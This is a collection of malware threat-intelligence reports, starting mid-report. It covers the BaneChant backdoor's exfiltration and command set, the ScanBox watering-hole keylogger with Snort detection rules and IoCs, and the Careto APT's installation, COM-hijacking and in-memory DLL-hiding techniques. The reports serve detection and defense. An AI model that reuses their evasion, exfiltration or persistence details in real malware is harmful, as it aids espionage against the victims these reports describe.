In comparison, the real GoogleUpdate.exe resides in program files instead program data directory (see Figure 14).
http://www.fireeye.com/blog/wp-content/uploads/2013/03/12.Redirection2.jpg Figure 13 Persistency Mechanism Figure 14 Genuine GoogleUpdate.exe The downloaded JPG file was analyzed to be a backdoor in the victims machine.
It lists the running http://www.fireeye.com/blog/wp-content/uploads/2013/03/13.-Persistency.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/03/14.RealGoogle.jpg processes, IP configuration, and directories of root drives (C to H) as depicted in Figure 15.
This information is posted to hxxp://symbisecure.com/adserv/get.php in Base-64 format.
After decoding, it is interesting that it begins with a Tag named BaneChant.
After doing a quick search, it seems to be a sound track composed by Hans Zimmer for the movie The Dark Knight Rises (see Figure 16).
This is the reason we name this malware Trojan.
APT.BaneChant.
Figure 15 Commands Executed http://www.fireeye.com/blog/wp-content/uploads/2013/03/15.Commands.jpg Figure 16 Exfiltrated Computer Information As depicted in Figure 17, the malware could perform other tasks as listed below.
1.
Command g: Download and execute a file.
The downloaded file has a temporarily file name prefixed with java.
2.
Command i: Run downloaded code (fileless) as a separate thread.
The user-agent used is Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko).
3.
Command x: Download and execute, follow by an uninstallation of GoogleUpdate.exe.
The downloaded file has same prefix java.
4.
Command u: Uninstall GoogleUpdate.exe http://www.fireeye.com/blog/wp-content/uploads/2013/03/16.ExfiltratedInformation.jpg Figure 17 Backdoor Access Conclusion As defense technologies advance, malware also evolves.
In this instance, we could see that the malware has performed a number of tricks to defeat detection.
It attempts to: 1.
Evade sandbox by detecting human behaviors (multiple mouse clicks) 2.
Evade network binary extraction technology by performing multi-byte XOR encryption on executable file 3.
Social engineer user into thinking that the malware is legitimate 4.
Avoid forensic and incidence response by using fileless malicious codes and 5.
Prevent automated domain blacklisting by using redirection via URL shortening and Dynamic DNS services.
http://www.fireeye.com/blog/wp-content/uploads/2013/03/17.Commands.jpg This entry was posted in Advanced Malware, Targeted Attack by Chong Rong Hwa.
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ScanBox framework  whos affected, and whos using it?
By Chris Doman and Tom Lancaster Earlier this year the Japanese language website of one of the worlds largest suppliers of industrial equipment was compromised by a sophisticated threat actor.
Usually in such cases an attacker will use their access to place an exploit kit on the compromised website, delivering malware to visitors - a technique commonly referred to as setting up a watering hole or strategic web compromise.
In this case however, rather than relying on malware, the exploit kit was a self-contained key logger that recorded all keystrokes the user performed while on the website.
AlienVault[1]  produced an excellent write-up on this framework, which the developers named ScanBox.
ScanBox is particularly dangerous as it doesnt require malware to be successfully deployed to disk in order to steal information - the keylogging functionality simply requires the JavaScript code to be executed by a web browser.
The framework also facilitates reconnaissance, enabling attackers to exploit vulnerabilities in visitors systems in a more traditional fashion, by pushing  executing malware.
Since the initial post made by AlienVault, we have been actively scouring the web for new instances of the framework.
In this blog, were going to discuss four other watering holes which use ScanBox: Month   Identified Country Sector /   type ScanBox   domain August 2014 JP Industrial sector js.webmailgoogle[.
]com September   2014 CN Uyghur code.googlecaches[.
]com October 2014 US Think tank news.foundationssl[.
]com October 2014 KR Hospitality qoog1e[.
]com Table 1  Selected ScanBox compromises Looking at who was being targeted, we noticed a reasonable variation, including targeting of the Uyghur population in China, US Think Tanks, the Japanese Industrial sector  Korean hospitality.
This variation was our first clue that more than one actor may be using the framework (although on its own this would not be enough - some actors do target a wide range of organisations, some also focus on specific geographies or sectors).
To check if this was the case, we took a deeper dive into each version of the code.
The Framework Whilst all four implementations share the same codebase, there are some minor differences in their implementations.
These differences may show that different attackers are using the ScanBox framework.
Weve outlined a few key differences we identified below: Malicious code was delivered in a single block of JavaScript on both webmailgoogle[.
]com and foundationssl[.
]com.
The domains qoog1e[.
]com and googlecaches[.
]com selectively loaded extra plugins from separate files: Figure 1  The JavaScript function to load additional plugins We can see how these differ by comparing two exploit kits side by side: Figure 2  foundationssl[.
]com on the left loads JavaScript inline.
qoog1e.com on the right loads JavaScript from separate files http://pwc.blogs.com/.a/6a00d83451623c69e201bb07a08f95970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b7c6fb57fa970b-pi A motivation for selectively loading plugins is likely to be to prevent crashes or any errors appearing (which may alert the compromised sites owner) when the page is loaded  as some of the plugins are only compatible with specific browsers.
Selectively loading plugins has the added bonus of slightly reducing access to the attackers code to researchers.
Browsers the attackers are not interested in will be served the following placeholder instead of the malicious function: Figure 3  The empty JavaScript function that the exploit kit delivers when a browser doesnt match a targeted browser The following ScanBox plugins are deployed on code.googlecaches[.
]com, dependent upon the users browser: Plugin ID Description Internet Explorer Chrome Firefox Safari 1 Software reconnaissance Y N N N 2 Browser plugin N Y Y Y 3 Flash recon Y Y Y Y 4 SharePoint recon Y N N N 5 Adobe PDF reader recon Y N N N 6 Chrome security plugins recon[2] N N Y N 7 Java recon Y Y Y Y 8 Internal IP recon[3] N Y N N 9 JavaScript keylogger[4] Y Y Y Y Table 2  A table of plugins loaded per browser on code.googlecaches[.
]com.
There are further code differences too.
Take for example the different implementations of software enumeration, by identifying whether certain files exist: http://pwc.blogs.com/.a/6a00d83451623c69e201b7c6fb5803970b-pi Figure 4  Software enumeration on googlecaches[.
]com (left) and foundationssl[.
]com (right) From a developers perspective, I know its always a good idea to check the details of any exceptions that occur when writing code in order to create more stable applications.
Its pleasing to see the ScanBox developers using good coding practices, though only if theyre in the office Figure 5  Highlighted section of code from Figure 3 (Plugin 1 on code.googlecaches[.
]com) When identifying the security software, only the implementation found on foundationssl[.
]com employs the full version of some publicly available code[5] (the section of code with informational messages such as Folder was found).
In all other versions only a subsection of the same code is used.
At this point weve established that there are subtle variations between the ScanBox code deployed on different websites, however this could be due to differences in the expected environment of the targets the attackers wish to infect in each case, or upgrades to the framework.
Analysis of associated attacker infrastructure http://pwc.blogs.com/.a/6a00d83451623c69e201b8d0855cef970c-pi http://pwc.blogs.com/.a/6a00d83451623c69e201b8d0855d23970c-pi In order to potentially group the activity observed together, we analysed network infrastructure associated with the domains used by the attacker(s) deploying the ScanBox framework.
Our analysis showed that there was little overlap both in terms of associated infrastructure and in terms of the malware families associated with that infrastructure.
Summaries of each cluster are given below, whilst full details of the components which made up each are available in the Appendix.
Cluster Starting point Malware families Domain Registrars used Nameservers used 1 .googlecaches[.
]com Briba, Zegost PublicDomainRegistry.com .cloudns.net 2 .foundationssl[.
]com Unknown GoDaddy .cloudflare.com 3 .qoog1e[.
]com Unknown HiChina .hichina.com 4 .webmailgoogle[.
]com Jolob GoDaddy .domaincontrol.com We have been unable to identify any direct overlaps between the clusters, i.e.
shared domains or IP addresses, neither have we been able to determine any softer linkages beyond the reuse of the GoDaddy registrar.
Of course this could be due to lack of data points available to us  we welcome any additional data points the community are available to provide which show linkages between the clusters shown below.
Visualisations of each cluster can be seen in the Maltego graphs below: Cluster 1 Cluster 2 http://pwc.blogs.com/.a/6a00d83451623c69e201bb07a09017970d-pi Cluster 3 http://pwc.blogs.com/.a/6a00d83451623c69e201b8d0855d46970c-pi Cluster 4 http://pwc.blogs.com/.a/6a00d83451623c69e201b8d0855d66970c-pi Conclusions In this post weve identified four affected websites, each of which would draw distinct audiences who would be valuable to different actors.
Weve also taken a look at the variations in how the framework was implemented, and found a few subtle differences in the implementations.
Finally, we analysed the associated infrastructure with the attacker domains used in each case, and found no overlap between the clusters of activity.
In a similar fashion to our previous blog entry on potential overlap between APT1 and Putter Panda[6] , we can attempt to explain these differences with several hypotheses: 1.
The framework is used by a single group that target widely and upgrade or adapt their code for different targets, and are careful to avoid any overlap in infrastructure or in services used.
2.
Selections of actors share some resources, as per previous observations with similar kits by some security vendors[7].
3.
The exploit kits have been used by one group, and taken from public watering holes for their own use by other unrelated persons In our experience, very few attackers have the patience to maintain completely distinct infrastructure with multiple registrars, name servers and hosting providers at the same time, therefore we have a low http://pwc.blogs.com/.a/6a00d83451623c69e201b8d0855d74970c-pi confidence in hypothesis 1.
In our view, the hypothesis with the highest probability is that groups of attackers share resources leading to overlaps  this appears to be an ever more common feature  with malware families, builders, and even sometimes hosting infrastructure being shared between disparate actors with a common goal.
Sharing frameworks like ScanBox or other exploit kits allows less sophisticated actors (who were themselves unable to develop a tool like ScanBox) to conduct better attacks.
Appendix - Snort Rules alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework Plugin used in WateringHole Attacks flow:from_server,established file_data content:scanbox.info.
reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework Java Detection used in WateringHole Attacks flow:from_server,established file_data content:\No Java or Disable reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework AV Detection used in WateringHole Attacks flow:from_server,established file_data content:avg2012check() reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework  and legitimate websites Flash Detection flow:from_server,established file_data content:var flashfunction() \flash.prototype.controlVersionfunction reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework Local IP Detection flow:from_server,established file_data content:if (evt.candidate) grepSDP(evt.candidate.candidate) reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework Javscript Keylogging flow:from_server,established file_data content:CapsLockcurrKey65currKey90 reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) alert tcp EXTERNAL_NET any - HOME_NET any (msg:ScanBox Framework Navigator Plugin Detection flow:from_server,established file_data content:navigator.plugins[x].filename.replace(/,/g, reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and- whos-using-it-1.html classtype:trojan-activity sid:xxx rev:1) Appendix  IoCs Cluster Artefact IP Address Cluster 1 103.246.247[.
]246 IP Address Cluster 1 103.255.61[.
]114 IP Address Cluster 1 103.255.61[.
]39 IP Address Cluster 1 118.193.153[.
]201 IP Address Cluster 1 123.108.111[.
]209 IP Address Cluster 1 176.53.22[.
]143 IP Address Cluster 1 184.22.163[.
]121 IP Address Cluster 1 184.82.123[.
]222 IP Address Cluster 1 184.82.46[.
]5 IP Address Cluster 1 210.0.176[.
]21 IP Address Cluster 1 210.0.176[.
]23 IP Address Cluster 1 210.209.127[.
]114 IP Address Cluster 1 210.209.127[.
]32 IP Address Cluster 1 210.209.127[.
]39 IP Address Cluster 1 210.209.127[.
]53 IP Address Cluster 1 409ae279d7c44b11156318848ddb4a3f MD5 Cluster 1 9cf5523da799277a4d40881199eb8325 MD5 Cluster 1 66.197.231[.
]62 IP Address Cluster 1 69.197.146[.
]80 IP Address Cluster 1 69.197.183[.
]142 IP Address Cluster 1 69.197.183[.
]152 IP Address Cluster 1 69.197.183[.
]159 IP Address Cluster 1 69.197.183[.
]189 IP Address Cluster 1 9D1F8822B92AD3224DB1C9EC89B529CA MD5 Cluster 1 blog.msdnblog[.
]com Hostname Cluster 1 blogs.msdnblog[.
]com Hostname Cluster 1 ccac.dyndns-web[.
]com Hostname Cluster 1 code.googlecaches[.
]com Hostname Cluster 1 dns.symantec-sync[.
]com Hostname Cluster 1 download.msdnblog[.
]com Hostname Cluster 1 download.symantec-sync[.
]com Hostname Cluster 1 ef498ea09bf51b002fc7eb3dfd0d19d3 MD5 Cluster 1 googlebot1.dyndns-office[.
]com Hostname Cluster 1 googlebot5.dyndns-office[.
]com Hostname Cluster 1 Googlecaches[.
]com Hostname Cluster 1 Googlewebcache[.
]com Hostname Cluster 1 image.googlecaches[.
]com Hostname Cluster 1 image.symantec-sync[.
]com Hostname Cluster 1 images.googlewebcache[.
]com Hostname Cluster 1 james_boodleyahoo[.
]com Domain registration address Cluster 1 lenovocn.dyndns[.
]org Hostname Cluster 1 Lifewalden[.
]com Hostname Cluster 1 Msdnblog[.
]com Hostname Cluster 1 news.googlecaches[.
]com Hostname Cluster 1 news.msdnblog[.
]com Hostname Cluster 1 Outlookssl[.
]com Hostname Cluster 1 remote.googlewebcache[.
]com Hostname Cluster 1 shared.images.googlewebcache[.
]com Hostname Cluster 1 smtp.outlookssl[.
]com Hostname Cluster 1 smtp.windowsautoupdate[.
]com Hostname Cluster 1 some.troubleyahoo[.
]com Domain registration address Cluster 1 symantec-sync[.
]com Hostname Cluster 1 tem.dyndns[.
]tv Hostname Cluster 1 test.googlecaches[.
]com Hostname Cluster 1 update.windowsautoupdate[.
]com Hostname Cluster 1 upload.msdnblog[.
]com Hostname Cluster 1 web.windowsautoupdate[.
]com Hostname Cluster 1 Windowsautoupdate[.
]com Hostname Cluster 1 www.msdnblog[.
]com Hostname Cluster 1 www.windowsautoupdate[.
]com Hostname Cluster 1 xingyadi2008gmail[.
]com Domain registration address Cluster 1 zhfdc.dyndns[.
]org Hostname Cluster 2 180.210.206[.
]225 IP Address Cluster 2 192.161.61[.
]10 IP Address Cluster 2 198.96.92[.
]108 IP Address Cluster 2 204.152.198[.
]100 IP Address Cluster 2 210.209.86[.
]145 IP Address Cluster 2 9aaa[.
]info Hostname Cluster 2 Educational[.
]com Hostname Cluster 2 flash0day.4pu[.
]com Hostname Cluster 2 flashplayer.proxydns[.
]com Hostname Cluster 2 Foundationssl[.
]com Hostname Cluster 2 Hudsononlinenews[.
]com Hostname Cluster 2 li2384826402yahoo[.
]com Domain registration address Cluster 2 news.educationel[.
]com Hostname Cluster 2 news.foundationssl[.
]com Hostname Cluster 2 proxy.otzo[.
]com Hostname Cluster 2 qinyz001163[.
]com Domain registration address Cluster 2 socks5.proxydns[.
]com Hostname Cluster 2 vpn.foundationssl[.
]com Hostname Cluster 2 vpn.ssl443[.
]org Hostname Cluster 2 wangsongxugmail[.
]com Domain registration address Cluster 2 www.educationel[.
]com Hostname Cluster 2 www.foundationssl[.
]com Hostname Cluster 2 www.hudsononlinenews[.
]com Hostname Cluster 3 58.96.172[.
]209 IP Address Cluster 3 qoog1e[.
]com Hostname Cluster 3 www.qoog1e[.
]com Hostname Cluster 3 yumingyinsibaohu.aliyun[.
]com Domain registration address Cluster 4 113.10.201[.
]124 IP Address Cluster 4 122.10.10[.
]210 IP Address Cluster 4 122.10.9[.
]109 IP Address Cluster 4 blog.mailaunch[.
]com Hostname Cluster 4 boxun.mailaunch[.
]com Hostname Cluster 4 email.webmailgoogle[.
]com Hostname Cluster 4 be3a3daa7d0d11df2380d3401696624a MD5 Cluster 4 files.mailaunch[.
]com Hostname Cluster 4 ftp.webmailgoogle[.
]com Hostname Cluster 4 imap.mailaunch[.
]com Hostname Cluster 4 inbox.mailaunch[.
]com Hostname Cluster 4 inbox.webmailgoogle[.
]com Hostname Cluster 4 js.webmailgoogle[.
]com Hostname Cluster 4 mail.webmailgoogle[.
]com Hostname Cluster 4 Mailaunch[.
]com Hostname Cluster 4 networkeduhotmail[.
]com Domain registration address Cluster 4 news.mailaunch[.
]com Hostname Cluster 4 pop.mailaunch[.
]com Hostname Cluster 4 smtp.mailaunch[.
]com Hostname Cluster 4 Webmailgoogle[.
]com Hostname Cluster 4 www.mailaunch[.
]com Hostname Cluster 4 www.webmailgoogle[.
]com Hostname Cluster 4 yahoo.mailaunch[.
]com Hostname [1] https://www.alienvault.com/open-threat-exchange/blog/scanbox-a-reconnaissance-framework-used- on-watering-hole-attacks [2] This appears to be a misconfiguration, as the attackers are looking for Chrome plugins on Firefox [3] This employs code from The Browser Hackers handbook The plugins deployed on qoogle.com are the same, though they utilise different plugin IDs  this may indicate that the framework allows you to select which plugins you wish to deploy, and then the entire framework is built by a builder.
[
4] This is the key logger described by AlienVault, and using code previously published on sites such as CSDN [5] http://sc.mac.gd/vuldb/ssvid-60783 [6] http://pwc.blogs.com/cyber_security_updates/2014/07/apt1-putter-panda-collaboration-or-a- shared-contractor.html [7] www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks
1 TLP: GREEN Unveiling Careto - The Masked APT Version 1.0         February 2014 2 TLP: GREEN 3 TLP: GREEN Table of contents 1.
Executive Summary .................................................................................................................... 4 2.
Analysis ........................................................................................................................................... 5 2.1.
Campaign: The Mask attacks .......................................................................................... 5 2.2.
Backdoor components ...................................................................................................... 8 2.2.1.
Overview ........................................................................................................................ 9 2.2.2.
The Careto backdoor .............................................................................................. 10 2.2.3.
The SGH backdoor ................................................................................................... 18 2.2.4.
The SBD backdoor ................................................................................................... 22 2.2.5.
The OSX SBD backdoor .......................................................................................... 23 2.3.
Digital certificates ............................................................................................................ 25 2.4.
Exploit for Kaspersys products ................................................................................. 26 2.5.
Communication ................................................................................................................ 27 2.6.
CC Servers ........................................................................................................................ 29 2.7.
Exploits ................................................................................................................................ 34 2.8.
Victims.................................................................................................................................. 43 3.
Attribution .................................................................................................................................. 46 4.
Conclusions ................................................................................................................................. 47 Special thanks ................................................................................................................................. 47 APPENDIX 1: Indicators of compromise .............................................................................. 48 APPENDIX 2: SGH Modules  detailed analysis ................................................................. 51 APPENDIX 3: CC registration information ....................................................................... 64 Contact information For any inquires please contact intelreportskaspersky.com 4 TLP: GREEN 1.
Executive Summary The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007.
The name Mask comes from the Spanish slang word Careto (Ugly Face or Mask) which the authors included in some of the malware modules.
Figure 1.
Careto strings The main targets of Careto fall into several categories: Government institutions Diplomatic / embassies Energy, oil and gas Private companies Research institutions Private equity firms Activists More than 380 unique victims in 31 countries have been observed to date.
What makes The Mask special is the complexity of the toolset used by the attackers.
This includes an extremely sophisticated malware, a rootkit, a bootkit, 32- and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).
The Mask also uses a customized attack against older versions of Kaspersky Lab products to hide in the system, putting them above Duqu in terms of sophistication and making it one of the most advanced threats at the moment.
This and several other factors make us believe this could be a nation-state sponsored campaign.
When active in a victim system, The Mask can intercept network traffic, keystrokes, Skype conversations, PGP keys, analyse WiFi traffic, fetch all information from Nokia devices, screen captures and monitor all file operations.
The malware collects a large list of documents from the infected system, including encryption keys, VPN configurations, SSH keys and RDP files.
There are also several extensions being monitored that we have not been able to identify and could be related to custom military/government-level encryption tools.
Based on artifacts found in the code, the authors of the Mask appear to be speaking the Spanish language.
5 TLP: GREEN 2.
Analysis We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware invisible in the system.
Although we fixed this vulnerability sometime ago, the attackers were probably still using it because users may not have updated to the newest products (product updates are free during the subscription period).
Of course, this raised our interest and we decided to investigate further.
In other words, the attackers attracted our attention by attempting to exploit Kaspersky Lab products.
2.1.
Campaign: The Mask attacks The Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website.
The malicious website contains a number of exploits designed to infect the visitor.
Upon successful infection, the malicious website redirects the user to a benign website, which can be a Youtube movie or a news portal.
During our research, we observed the following exploit websites: linkconf.net redirserver.net swupdt.com Its important to note that the exploit websites do not automatically infect visitors instead, the attackers host the exploits at specific folders on the website, which are not directly referenced anywhere, except in malicious e-mails.
Sometimes, the attackers use subdomains on the exploit websites, to make them appear more genuine.
For instance, the following subdomains the for exploit site linkconf.net have been observed: negocios.iprofesional.linkconf.net/ www.internacional.elpais.linkconf.net/ politica.elpais.linkconf.net/ cultura.elpais.linkconf.net/ economia.elpais.linkconf.net/ test.linkconf.net/ soc.linkconf.net/ sociedad.elpais.linkconf.net/ world.time.linkconf.net/ internacional.elpais.linkconf.net/ elpais.linkconf.net/ www.elespectador.linkconf.net/ blogs.independent.linkconf.net/ www.elmundo.linkconf.net/ www.guardian.linkconf.net/ www.washingtonsblog.linkconf.net/ www.publico.linkconf.net/ 6 TLP: GREEN Most of these subdomains simulate subsections of the main  newspapers in Spain plus some international ones like The Guardian and Washington Post.
To minimize the chances of detection, the malware is digitally signed with a valid certificate (since 2010) from an unknown or fake company, called TecSystem Ltd: Figure 2: Digital signature We can estimate the duration of the campaign analyzing the compilation time of the samples.
In some of them, the older ones, we are not so sure this data is very reliable: 7 TLP: GREEN Figure 3: Compilation time of samples 0 1 2 3 4 5 6 7 _2007 _2008 _2009 _2010 _2011 _2012 _2013 8 TLP: GREEN 2.2.
Backdoor components The Mask leverages three separate backdoors.
One of them is an extremely sophisticated malware, while there are also a rootkit, bootkit, 32 and 64 bits Windows versions and Mac OS X versions.
We have detected traces of Linux versions, and possibly versions for iPad/iPhone and Android, however we have not been able to retrieve the samples.
Traces of components for MacOS and iPad versions found in one of the CC servers: h1REPORT/h1 bTrace ID:/b 13xxx_0_mcgabr / bDate: /bWed, 15 May 2013 23:34:01 0000br / bRemote IP Address:/b 200.x.x.xbr /br /h2 User Agent/h2strongBrowser User Agent String:/strong Mozilla/5.0 (iPad CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B329br/br/ strongBrowser Name:/strong iPadbr/ strongPlatform:/strong MacOSbr/ strongPlatform Version:/strong10.7.5br/ strongArchitecture:/strong 32br/br / h2 Environment Variables/h2 h3 Environment Variables/h3code bREMOTE_ADDR:/b 88.x.x.xbr / bHTTP_USER_AGENT:/b Mozilla/5.0 (Macintosh Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17br / The Masks implants can intercept network traffic, keystrokes, Skype conversations, analyse WiFi traffic, PGP keys, fetch all information from Nokia devices, screen captures and monitor all file operations.
The malware collects a large list of documents from the infected system, including encryption keys, VPN configurations, SSH keys and RDP files.
There are also several unknown extensions being monitored that we have not been able to identify and could be related to custom military/government-level encryption tools.
Full list of stolen files extensions: .AKF,.
ASC,.
AXX,.
CFD,.
CFE,.
CRT,.
DOC,.
DOCX,.
EML,.
ENC,.
GMG, .GPG,.
HSE,.
KEY,.
M15,.
M2F,.
M2O,.
M2R,.
MLS,.
OCFS,.
OCU,.
ODS, .ODT,.
OVPN,.
P7C,.
P7M,.
P7Z,.
PAB,.
PDF,.
PGP,.
PKR,.
PPK,.
PSW,.
PXL,.
RDP,.
RTF,.
SDC,.
SDW,.
SKR,.
SSH,.
SXC,.
SXW,.
VSD,.
WAB,.
WPD,.
WPS,.
WRD,.
XLS,.
XLSX, Inside the main Careto binaries there is a CAB file with two modules - 32 and 64-bit.
shlink32.dll shlink64.dll 9 TLP: GREEN The malware extracts one of them depending on the system architecture and installs it as objframe.dll.
Inside the backdoor there are three executable files, once again, packed with CAB and having the .jpg extension: dinner.jpg waiter.jpg chef.jpg.
The attackers call the more sophisticated malware SGH.
We discovered the attackers trying to install multiple plugins for it.
Also we have found traces of lateral movement tools, such as a module for Metasploit with the win7elevate artifact.
2.2.1.
Overview The attackers use two software packages and several related utilities.
The main software packages are named Careto and SGH.
The backdoor package called Careto is a general purpose backdoor that consists of user-level components.
It collects system information and executes arbitrary code provided by the CC infrastructure.
The backdoor package called SGH is more advanced and primarily works in kernel mode.
It contains rootkit components and interceptor modules for system events and file operations.
It steals files and maintains its own connection to CC servers.
In addition to Careto and SGH, we observed the usage of a custom compiled backdoor based on the sbd open source netcat clone (https://www.freshports.org/net/sbd/).
This sbd clone has been observed in variants for Win32, Mac OS X and Linux.
During the investigation, we were able to obtain the Win32 and Mac OS X versions the Linux variant was badly damaged and could not be recovered.
While Careto and SGH can also work as a standalone implant, we observed the CC installing one package using the other one - for instance, a victim infected with Careto would get the SGH as well.
Additionally, several utilities like the uninstaller module knows about both of them, meaning they are commonly used together, although they may have been designed separately.
Files from the backdoor packages used by the Mask are signed using the same certificate, belonging to a (fake?)
Bulgarian company named TecSystem Ltd.. https://www.freshports.org/net/sbd/ 10 TLP: GREEN 2.2.2.
The Careto backdoor Careto is the name given by the attackers to one of the two main implants used on victims machines.
Careto is a Spanish slang term, meaning ugly face or mask.
Installation module - Microsoft Windows version The Careto software package is installed using a standalone executable installer.
Once the installer is delivered and executed on the victim machine, it extracts the components and sets them up.
File type: PE32, Windows Executable file Compilation timestamp: 2007.08.14 01:45:14 (GMT) - (all known variants) File sizes: 320.328, 320.904 bytes.
Technical details The files are compiled with Visual Studio 2005.
There are several known versions of the installer module that contain a correct but expired digital signature: Name of signer: TecSystem Ltd., Sofia, BG Serial: 36BE4AD457F062FA77D87595B8CCC8CF Valid: 2011.06.28  2013.06.28 Digital signature All the important strings and the payload are encrypted.
When started, the module checks for the presence of BaseNamedObject EVENT with  in the data.
If found, it exits.
The module contains three encrypted blocks in its body.
The biggest one (first block) is 205.638 bytes long and is an encrypted CAB file that contains the actual payload to be installed.
The second one is a 96-byte long configuration block that controls the filename to be used during the installation and the file description.
In our case, the name was objframe.dll.
To decrypt the payloads and installers configuration, the attackers use a fixed RC4 key: 7be.
Kaw-12[.
The third block is 880 bytes long and contains the configuration of the payload itself.
It is written in the body of the installed binary and decrypted by that binary during operation.
To write this configuration block, the module searches for a magic binary string and copies an encrypted configuration block by the marker.
The resulting file is then installed into the system.
The magic markers are expected to be located 0x10 bytes before the configuration block and 0x10 bytes after that block.
11 TLP: GREEN The CAB archive that holds the payloads contains two files: Name File Size Compilation Time Shlink64.dll 144384 bytes 14.07.2009 01:16:44 Shlink64.dll 106496 bytes 14.07.2009 01:16:44 The installer is 64-bit aware and extracts the file for the appropriate system architecture: shlink32.dll for a 32-bit system and Shlink64.dll for 64-bit one, respectively.
Installation is also Microsoft Windows version-aware.
For Windows Vista and higher without administrator privileges, it installs into APPDATA.
For previous Windows versions with administrator privileges, it installs in the system directory.
The installer also verifies the system configuration and makes sure it works well under all situations.
For instance, it checks if the value of the registry key HKLM\Software\Microsoft\Windows\Current Version\Policies\System is set to EnableLUA  to determine if UAC enabled.
If UAC is enabled, it defaults to user installation to evade any notification to the user.
In the case that it failed to install to system directory, the module also falls back to userland installation.
The userland installation path is: APPDATA\Microsoft.
In order to make the infection less obvious, it assigns itself the same file timestamp as of kernel32.dll during installation.
Also it modifies the resources of the EXE being installed, so all its Version Information strings are taken from Kernel32 DLL except the filename and file description.
These are taken from the encrypted configuration block, i.e.
: File name: objframe.dll.
File description Microsoft Object frame manager The payload is also registered as a COM object via registry entry: [HKCU\Software\Classes\\CLSID\ECD4FC4D-521C-11D0-B792- 00A0C90312E1\InprocServer32 ] defaultpath to the installed payload file The original registry value is saved in the following registry key: [HKLM\Software\Classes\CLSID\E6BB64BE-0618-4353-9193- 0AFE606D6F0C\InprocServer32] defaultoriginal registry value 12 TLP: GREEN Main module We were able to locate several versions of the main module.
As with the Installation Module, the files are compiled with Visual Studio 2005.
File type: PE32/PE32 DLL Compilation timestamps: 2004.08.04 07:54:15 (GMT), 2008.04.14 02:33:02 (GMT), 2009.07.14 01:09:01 (GMT), 2012.04.25 21:05:48 (GMT), 2012.10.03 04:58:02 (GMT), 2013.01.04 04:49:18 (GMT) File sizes: 110.592, 106.496, 144.384 bytes Technical details The main module is activated in every application that requests for the COM object referenced by the class ID it has overtaken: ECD4FC4D-521C-11D0-B792-00A0C90312E1 Windows Explorer appears to be the primary target of this COM object hijacking.
The name of the hijacked class is called Shell Rebar BandSite.
The module uses an interesting evasion technique to hide its presence in the system.
Once activated, it first reads the registry value that points to the dynamic library that exports the original COM object: HKEY_CLASSES_ROOT\CLSID\E6BB64BE-0618-4353-9193- 0AFE606D6F0C\InprocServer32 It loads the original library and modifies the module list of the process, first replacing its own entry with a copy of the data from the hijacked DLL, and then completely removes all references to itself in PEB LDR linked lists.
Next, it loads one of the system libraries that is not currently loaded by the current process, from the following list: CHTBRKR.DLL CLICONFG.DLL DMCONFIG.DLL MFC42.DLL MFWMAAEC.DLL MSJET40.DLL NTDSA.DLL OAKLEY.DLL OPENGL32.DLL PIDGENX.DLL PNPUI.DLL QMGR.DLL QUARTZ.DLL VERIFIER.DLL WMDRMDEV.DLL WMDRMNET.DLL WMICMIPLUGIN.DLL WMNETMGR.DLL WPDSP.DLL 13 TLP: GREEN After the system library is loaded, its contents are overwritten with the malicious library, but the module path and other data are kept intact.
So, to someone looking with a process analysis tool, the malicious library appears as a clean system DLL in the module list of the top process.
It can be only identified by inspecting the actual contents of the memory allocated to the system library.
The module transfers control to its copy by calling its DllMain function with DLL_THREAD_ATTACH parameter and a custom lpReserved value that points to a configuration structure containing a valid magic number.
When DllMain is called with these parameters, it proceeds to execute its main functionality.
First, it decrypts the CAB file from its body using the same RC4 key as in the installer module, and checks its contents.
Name File Size Compilation Time dinner32.jpg 25088 bytes 14.07.2009 01:16:44 chef32.jpg waiter32.jpg 8192  bytes 94208 bytes 14.07.2009 01:16:44 14.07.2009 01:16:44 Figure 4.
CAB contets for shlink32.dll Name File Size Compilation Time dinner64.jpg chef64.jpg waiter64.jpg dinner32.jpg 18432 bytes 10240 bytes 97280 bytes 25088 bytes 14.07.2009 01:16:44 14.07.2009 01:16:44 14.07.2009 01:16:44 14.07.2009 01:16:44 chef32.jpg waiter32.jpg 8192  bytes 94208 bytes 14.07.2009 01:16:44 14.07.2009 01:16:44 Figure 5.
CAB contets for shlink64.dll The module searches for a file named waiter32.jpg or waiter64.jpg, depending on the platform.
It loads this module the same way as its own copy, replacing another system DLL in memory and executes its DllMain function in DLL_THREAD_ATTACH mode and passes the configuration structure as the lpReserved parameter.
The waiter module is called in the explorer mode of operation (see Waiter module).
It then intercepts the CreateProcessW function in libraries shell32.dll and ieframe.dll with its own routine.
